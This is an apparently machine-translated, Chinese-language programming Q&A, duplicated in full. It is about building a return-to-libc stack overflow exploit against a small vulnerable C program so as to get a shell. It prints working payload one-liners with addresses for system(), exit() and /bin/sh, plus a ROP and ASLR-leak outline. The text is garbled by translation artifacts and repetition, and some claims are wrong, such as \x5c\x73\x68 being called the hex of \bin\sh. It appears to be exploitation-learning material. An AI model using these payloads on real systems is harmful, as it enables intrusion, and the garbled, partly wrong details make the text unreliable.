Return 进入 libc 攻击
Return into libc attack
我正在尝试使用格式字符串攻击向量对以下代码实施 return-to-libc 攻击。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char a[10];
scanf("%s",&a);
printf(a);
return 0;
}
我已经使用 gdb
中的 p system
命令找出了 system() 的地址。通过使用 x/500s $esp
检查堆栈帧,我计算出包含 \bin\sh
.
的环境变量地址
system: 0xf7e2cda0
exit: 0xf7e209d0
\bin\bash: 0xffffd207
有了这些东西,我构建了以下格式字符串:
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp
其中 0xffffcdbc - 0x4
是包含系统地址 0xf7e2cda0
值的本地地址。
我使用 gcc -m32 -fno-stack-protector -o sh sh.c
编译程序,运行 使用 gdb sh
编译程序。执行后,输入 r<inp
,我得到以下输出
如上所示,显示了一些错误命令,我仅在 运行 r
命令后才到达 shell。有人可以解释一下我在这里遗漏了什么,以便我直接进入 shell 吗?
另外,当我试图通过偏移 gdb 地址在没有 gdb 的情况下(通过 ./sh < inp
)执行上面的程序时,我得到了一个分段错误。我假设一旦上述修复得到纠正,这个问题就可以解决。
请通过提供完整的工作漏洞来回答 - 大多数在线教程都使用 argv[1]
来解释类似的问题,但我希望在不使用参数的情况下使漏洞工作。
谢谢!
首先,您构建的是纯 stack-base 溢出,而不是格式字符串负载。
libc 函数 system()
可以与 gdb 一起使用,即使其参数无效 。例如,调用 system("asdasd")
仍然在 gdb 中给你一个 shell (弹出错误消息,这就是你所看到的),所以你的有效负载基本上没有找到 /bin/sh
正确。
你应该在system
地址和/bin/sh
地址之间加一个padding(很多pwn初学者忘记了这个),例如
print 'A'*padding_to_ret + addr_system + padding + addr_binsh
For x86 calling convention, Once a function is called, the arguments
are push, next the return address, so when ROP-chain take system
as
return, $esp
is now pointing to the position at padding
, so the
parameter /bin/sh
($ebp+0x4
) should be right next to padding
.
最后你提到你想在没有 argv
帮助的情况下构建有效载荷,是的,这是可能的,但你需要有机会 泄漏 libc 地址以击败 ASLR 来获取 /bin/sh
的地址(你可以在 libc 中找到这个字符串)。
以您提供的代码为例:
scanf("%s, &a)
- 为下一个
printf
构造类似 %x%x
或 %9$x
的内容以在堆栈上泄漏一些 libc 地址。
- 用
main
覆盖 return 地址以进行另一次读取。
printf(a)
- 接收泄漏地址,计算libc基地址和其他有用的功能,如
system_addr = libc_addr + system_offset
。
scanf("%s, &a)
- 现在你知道了
system
和/bin/sh
的地址,构建上面的ROP链获得控制权。
经过几天的研究,我终于找到了问题所在。这并不是说 /bin/sh
字符串的地址错误,或者您只需要 libc
库中的 \bin\sh
字符串地址位置即可使其正常工作,但您所需要的只是在您放置的字符串地址末尾的 4 个字节的 nop sled。所以,本质上,我的攻击字符串是这样的
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp
或者在您将 /bin/sh
直接写入缓冲区的情况下,类似于以下字符串的内容会起作用
python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68[=11=]" + "\x90\x90\x90\x90" ' > inp
其中 \x5c\x73\x68
(\bin\sh
的十六进制)存储在 \x84\xce\xff\xff
的缓冲区中
注意:我有时也观察到您在特定位置写入的地址不会以某种方式显示。在这些情况下,您应该进行填充以确保所有内容都存储在各自的位置。
我正在尝试使用格式字符串攻击向量对以下代码实施 return-to-libc 攻击。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char a[10];
scanf("%s",&a);
printf(a);
return 0;
}
我已经使用 gdb
中的 p system
命令找出了 system() 的地址。通过使用 x/500s $esp
检查堆栈帧,我计算出包含 \bin\sh
.
system: 0xf7e2cda0
exit: 0xf7e209d0
\bin\bash: 0xffffd207
有了这些东西,我构建了以下格式字符串:
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp
其中 0xffffcdbc - 0x4
是包含系统地址 0xf7e2cda0
值的本地地址。
我使用 gcc -m32 -fno-stack-protector -o sh sh.c
编译程序,运行 使用 gdb sh
编译程序。执行后,输入 r<inp
,我得到以下输出
如上所示,显示了一些错误命令,我仅在 运行 r
命令后才到达 shell。有人可以解释一下我在这里遗漏了什么,以便我直接进入 shell 吗?
另外,当我试图通过偏移 gdb 地址在没有 gdb 的情况下(通过 ./sh < inp
)执行上面的程序时,我得到了一个分段错误。我假设一旦上述修复得到纠正,这个问题就可以解决。
请通过提供完整的工作漏洞来回答 - 大多数在线教程都使用 argv[1]
来解释类似的问题,但我希望在不使用参数的情况下使漏洞工作。
谢谢!
首先,您构建的是纯 stack-base 溢出,而不是格式字符串负载。
libc 函数 system()
可以与 gdb 一起使用,即使其参数无效 。例如,调用 system("asdasd")
仍然在 gdb 中给你一个 shell (弹出错误消息,这就是你所看到的),所以你的有效负载基本上没有找到 /bin/sh
正确。
你应该在system
地址和/bin/sh
地址之间加一个padding(很多pwn初学者忘记了这个),例如
print 'A'*padding_to_ret + addr_system + padding + addr_binsh
For x86 calling convention, Once a function is called, the arguments are push, next the return address, so when ROP-chain take
system
as return,$esp
is now pointing to the position atpadding
, so the parameter/bin/sh
($ebp+0x4
) should be right next topadding
.
最后你提到你想在没有 argv
帮助的情况下构建有效载荷,是的,这是可能的,但你需要有机会 泄漏 libc 地址以击败 ASLR 来获取 /bin/sh
的地址(你可以在 libc 中找到这个字符串)。
以您提供的代码为例:
scanf("%s, &a)
- 为下一个
printf
构造类似%x%x
或%9$x
的内容以在堆栈上泄漏一些 libc 地址。 - 用
main
覆盖 return 地址以进行另一次读取。
- 为下一个
printf(a)
- 接收泄漏地址,计算libc基地址和其他有用的功能,如
system_addr = libc_addr + system_offset
。
- 接收泄漏地址,计算libc基地址和其他有用的功能,如
scanf("%s, &a)
- 现在你知道了
system
和/bin/sh
的地址,构建上面的ROP链获得控制权。
- 现在你知道了
经过几天的研究,我终于找到了问题所在。这并不是说 /bin/sh
字符串的地址错误,或者您只需要 libc
库中的 \bin\sh
字符串地址位置即可使其正常工作,但您所需要的只是在您放置的字符串地址末尾的 4 个字节的 nop sled。所以,本质上,我的攻击字符串是这样的
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp
或者在您将 /bin/sh
直接写入缓冲区的情况下,类似于以下字符串的内容会起作用
python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68[=11=]" + "\x90\x90\x90\x90" ' > inp
其中 \x5c\x73\x68
(\bin\sh
的十六进制)存储在 \x84\xce\xff\xff
注意:我有时也观察到您在特定位置写入的地址不会以某种方式显示。在这些情况下,您应该进行填充以确保所有内容都存储在各自的位置。